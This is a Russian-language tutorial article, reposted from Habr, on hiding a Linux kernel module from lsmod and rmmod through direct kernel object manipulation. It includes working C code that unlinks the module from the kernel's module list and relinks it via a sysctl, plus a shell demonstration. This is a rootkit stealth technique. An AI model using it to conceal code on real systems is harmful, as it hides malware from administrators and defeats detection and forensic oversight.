- PVSM.RU - https://www.pvsm.ru -
Как известно, задача скорытия модуля ядра от вездесущих «глаз» пользователя может иметь множество приложений. В данной статье рассматривается применение DKOM [1] (Direct Kernel Object Manipulation) — одной из техник, позволяющий осуществить сокрытие информации посредством модицикации внутренних структур ядра.
Далее будут рассмотрены особенности применения данной техники с целью сокрытия видимых признаков наличия модуля в системе и, как следствие, невозможности его выгрузки.
Как следует из названия, основу DKOM представляет операция манипуляции внутренними структурами ядра. В рассматриваемом случае, структурой, подвергающейся изменению, является внутренний список модулей [2], содержащий ссылки на все модули [3], загруженные в систему.
Структурой-описателем модуля ядра Linux является одноимённая структура, описываемая в файле linux/modules.h [3] следующим образом:
223 struct module
224 {
225 enum module_state state;
226
227 /* Member of list of modules */
228 struct list_head list;
229
230 /* Unique handle for this module */
231 char name[MODULE_NAME_LEN];
...
378 };
Помимо прочего, данная структура содержит поле list
, являющееся элементом связанного списка, посредством которого данный модуль линкуется в общий список модулей ядра. Последний, в свою очередь, является внутренним не экспортируемым списком, объявленным в файле kernel/module.c [2] и защищаемым соответствующим (экспортируемым) мьютексом [4]:
103 DEFINE_MUTEX(module_mutex);
104 EXPORT_SYMBOL_GPL(module_mutex);
105 static LIST_HEAD(modules);
При загрузке модуля, ядро добавляет модуль в свой список. При выгрузке — исключает. Вообще, все операции, требующие перебора загруженных модулей так или иначе сводятся к итерации ядром этого внутреннего списка.
Для того, чтобы перечислить загруженные в систему модули, удобно использовать макрос THIS_MODULE
, ссылающийся на структуру-описатель текущего модуля. Рассмотренное ранее поле list
будет являться элементом общего списка модулей с головным описателем, находящимся где-то в недрах ядра. Итак, функция перечисления списка загруженных в систему модулей выглядит следующим образом [5]:
static void list_modules(void)
{
struct module * mod;
struct list_head * pos;
while(!mutex_trylock(&module_mutex))
cpu_relax();
debug("List of available modules:n");
list_for_each(pos, &THIS_MODULE->list) {
bool head = (unsigned long)pos >= MODULES_VADDR;
mod = container_of(pos, struct module, list);
debug(" pos:%pK mod:%pK [%s]n", pos,
head ? mod : 0, head ? mod->name : "<- looking for");
}
mutex_unlock(&module_mutex);
}
Как видно, прежде всего, необходимо захватить соответствующий мьютекс, дабы не возникло проблем с синхронизацией, если кто-то в момент перечисления попытается выгрузить один из модулей.
Далее, важным моментом при перечислении является определение адреса головы списка — структуры modules [2]. В силу особенностей организации связанных списков в ядре Linux, голова не связана ни с одним из модулей. Более того, т.к. описатели модулей выделяются из адресов диапазона модулей (MODULES_VADDR [6] — MODULES_END [7]), то определение принадлежности адреса к этому диапазону является тривиальным. Ниже приведён результат работы данной функции, полученный на одной из машин:
[11025.656372] [findme] List of available modules:
[11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth]
[11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub]
[11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci]
[11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp]
[11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt]
...
[11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x]
[11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169]
[11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]
Последняя строчка наглядно сообщает, что искомая структура находится по адресу ffffffff81c2daf0
, что можно проверить выполнив команду:
# grep -w modules /proc/kallsyms
ffffffff81c2daf0 d modules
Таким образом, используя какой-либо из модулей можно с лёгкостью, перебирая элементы списка, найти корневую структуру. Её отличительным признаком будет являться нехарактерный для модулей адрес (ffffffff81xxxxxx
против ffffffffa0xxxxxx
), что и было использовано [8]:
struct list_head * get_modules_head(void)
{
struct list_head * pos;
while(!mutex_trylock(&module_mutex))
cpu_relax();
list_for_each(pos, &THIS_MODULE->list) {
if ((unsigned long)pos < MODULES_VADDR) {
break;
}
}
mutex_unlock(&module_mutex);
if (pos) {
debug("Found "modules" head @ %pKn", pos);
} else {
debug("Can't find "modules" head, abortingn");
}
return pos;
}
Сокрытие модуля в принципе не представляет сложностей, т.к. операция исключения элемента из списка не требует ничего, кроме данного элемента. Операция же повторной вставки требует наличия любого из существующих элементов списка. В данном случае, используется корневой элемент системы. Таким образом, сокрытие и повторное добавление модуля выглядит следующим образом [9]:
static void hide_or_show(int new)
{
while(!mutex_trylock(&module_mutex))
cpu_relax();
if (new == 1) {
/* 0 -> 1 : hide */
list_del(&THIS_MODULE->list);
debug("Module "%s" unlinkedn", THIS_MODULE->name);
} else {
/* 1 -> 0 : show */
list_add(&THIS_MODULE->list, p_modules);
debug("Module "%s" linked againn", THIS_MODULE->name);
}
mutex_unlock(&module_mutex);
}
В первом случае, для исключения их списка используется list_del [10]. Во втором — list_add [11]. Обе операции защищаются захватом соответствующего мьютекса.
В подготовленном примере [12] содержится код модуля, который реализует функции маскировки. Для проверки следует собрать модуль и загрузить его стандартными средствами через make
и insmod
Далее, непосредственно после загрузки, модуль будет доступен через lsmod
или rmmod
. Далее привожу последовательность действий по проверке функций маскировки:
# isnmod findme.ko
# lsmod | grep findme
findme 12697 0
# sysctl -w findme=1
findme = 1
# lsmod | grep findme
# rmmod findme
libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory
Error: could not remove module findme: No such file or directory
# sysctl -w findme=0
findme = 0
# lsmod | grep findme
findme 12697 0
# rmmod findme
Таким образом, существует возможность простого сокрытия модуля ядра от посторонних глаз. Представленный пример [12] содержит необходимый для экспериментов код.
1. Direct Kernel Object Manipulation [1]
2. Linux Kernel Linked List Explained [13]
3. Linux kernel design patterns — part 2 [14]
Автор: milabs
Источник [15]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/linux/50269
Ссылки в тексте:
[1] DKOM: http://www.blackhat.com/presentations/win-usa-04/bh-win-04-butler.pdf
[2] список модулей: http://lxr.free-electrons.com/source/kernel/module.c?v=3.8#L105
[3] модули: http://lxr.free-electrons.com/source/include/linux/module.h?v=3.8#L223
[4] мьютексом: http://lxr.free-electrons.com/source/kernel/module.c?v=3.8#L104
[5] следующим образом: https://github.com/milabs/kmod_hidden/blob/master/module-init.c#L61
[6] MODULES_VADDR: http://lxr.free-electrons.com/source/arch/x86/include/asm/pgtable_64_types.h?v=3.8#L59
[7] MODULES_END: http://lxr.free-electrons.com/source/arch/x86/include/asm/pgtable_64_types.h?v=3.8#L60
[8] использовано: https://github.com/milabs/kmod_hidden/blob/master/module-init.c#L14
[9] следующим образом: https://github.com/milabs/kmod_hidden/blob/master/module-init.c#L38
[10] list_del: http://lxr.free-electrons.com/source/include/linux/list.h?v=3.8#L104
[11] list_add: http://lxr.free-electrons.com/source/include/linux/list.h?v=3.8#L60
[12] примере: https://github.com/milabs/kmod_hidden
[13] Linux Kernel Linked List Explained: http://isis.poly.edu/kulesh/stuff/src/klist/
[14] Linux kernel design patterns — part 2: http://lwn.net/Articles/336255/
[15] Источник: http://habrahabr.ru/post/205274/
Нажмите здесь для печати.